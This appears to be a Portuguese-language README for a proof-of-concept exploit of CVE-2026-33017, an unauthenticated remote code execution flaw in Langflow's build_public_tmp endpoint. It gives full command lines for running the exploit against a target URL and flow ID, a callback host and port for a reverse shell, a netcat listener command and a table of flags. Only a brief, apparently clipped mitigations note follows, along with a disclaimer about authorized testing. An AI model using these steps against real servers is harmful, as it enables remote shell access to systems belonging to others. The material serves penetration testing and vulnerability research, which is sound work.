
CVE-2026-33017 Langflow RCE PoC
PoC para a falha de execução de código sem autenticação build_public_tmp no Langflow.
Ele envia um componente malicioso para um fluxo público, aciona um build e captura um reverse shell.
Apenas para testes de segurança autorizados. Use somente em sistemas que você possui ou para os quais tem permissão explícita para testar.
requests (pip install requests)Execute o listener integrado e dispare o exploit de uma só vez:
python3 poc.py \
--url https://target:7860 \
--flow-id <public-flow-uuid> \
--lhost <your-ip> \
--lport 4444 \
--listen
Quando o shell conectar, ele tenta automaticamente fazer upgrade para um shell totalmente interativo.
Se preferir usar seu próprio listener (ex.: nc -lvnp 4444), remova --listen:
python3 poc.py --url https://target:7860 --flow-id <uuid> --lhost <your-ip> --lport 4444
| Flag | Descrição |
|---|---|
--url | URL do servidor Langflow alvo (obrigatório) |
--flow-id | UUID do fluxo público compartilhado (obrigatório) |
--lhost | IP de callback do reverse shell (obrigatório) |
--lport | Porta de callback do reverse shell (obrigatório) |
--listen | Executa o listener integrado |
--timeout | Timeout de requisição HTTP em segundos (padrão 30) |
-k, --insecure | Desativa a verificação de certificado TLS (certificados autoassinados / expirados) |
--no-upgrade | Ignora o upgrade automático de TTY, usa um shell de linha básico |
O CVE-2026-33017 é um RCE não autenticado no endpoint POST /api/v1/build_public_tmp/{flow_id}/flow do Langflow, que executa Python fornecido pelo atacante a partir de definições de nós de fluxo sem sandboxing. Para saber mais, confira os recursos abaixo:
Mitigações do artigo da Sysdig Threat Research:
/api/v1/build_public_tmp ou desative completamente a criação de fluxos públicos.Esta ferramenta é fornecida para pesquisa e testes de penetração autorizados. O autor não se responsabiliza por uso indevido ou danos.